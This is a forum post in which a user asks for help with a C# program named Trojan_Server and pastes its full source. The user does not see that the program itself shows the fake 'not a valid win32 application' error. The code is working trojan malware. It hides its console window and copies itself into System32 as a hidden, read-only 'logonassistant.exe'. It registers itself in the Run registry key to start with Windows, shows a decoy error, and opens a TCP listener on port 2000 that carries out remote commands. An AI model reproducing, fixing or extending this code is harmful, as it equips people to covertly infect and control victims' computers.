Hi, whenever I try to run my server I always get a "Not a valid win32 application" error. How can i fix this?
Hers my code:

Code:
using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.IO;
using Microsoft.Win32;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;


namespace Trojan_Server
{
    class Program
    {
        public static NetworkStream Receiver;
        [DllImport("kernel32.dll")]
        public static extern bool FreeConsole(); 

        static void Recieve()
        {
            while (true)
            {
                try
                {
                    byte[] recPacket = new byte[1000];
                    Receiver.Read(recPacket, 0, recPacket.Length);
                    Receiver.Flush();
                    string Command = Encoding.ASCII.GetString(recPacket);
                    string[] commandArray = System.Text.RegularExpressions.Regex.Split(Command, "!!!---");
                    Command = commandArray[0];

                    switch (Command)
                    {
                        case "MESSAGE":
                            string Msg = commandArray[1];
                            System.Windows.Forms.MessageBox.Show(Msg.Trim('\0'));
                            break;
                        case "OPENSITE":
                            string Site = commandArray[1];
                            System.Diagnostics.Process IE = new System.Diagnostics.Process();
                            IE.StartInfo.FileName = "iexplore.exe";
                            IE.StartInfo.Arguments = Site.Trim('\0');
                            IE.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Maximized;
                            IE.Start();
                            break;
                    }
                }

                catch { break; }
            }
        }

        public static bool CheckIfRan()
        {
            
            bool IsRan = false;
           
            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe"))
            {
                
                RegistryKey k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
                
                if (k.GetValue("logonassist") != null)
                {
                    
                    IsRan = true;
                }
                else
                {
                    IsRan = false;
                }
            }
            return IsRan;
        }

        

        public static void AddToStartup()
        {
            

            try
            {
                File.Copy(Convert.ToString(System.Reflection.Assembly.GetExecutingAssembly().Location), Convert.ToString(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe"), true);

               

                File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.Hidden);

                File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.System);

                File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", FileAttributes.ReadOnly);

                

                RegistryKey k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);

               

                k.SetValue("logonassist", Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", RegistryValueKind.String);

                k.Close();

            }

            catch
            {

                

            }
        }
        static void Main(string[] args)
        {

          

            FreeConsole();

            

            bool Check = CheckIfRan();

      

            if (!Check)
            {

                

                System.Windows.Forms.MessageBox.Show("This program is not a valid win32 application!", "Error", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);

                AddToStartup();

                

                TcpListener l = new TcpListener(2000);

                l.Start();

                

                TcpClient Connection = l.AcceptTcpClient();

               

                Receiver = Connection.GetStream();

             

                System.Threading.Thread Rec = new System.Threading.Thread(new System.Threading.ThreadStart(Recieve));

                Rec.Start();
            }

        }
    }
}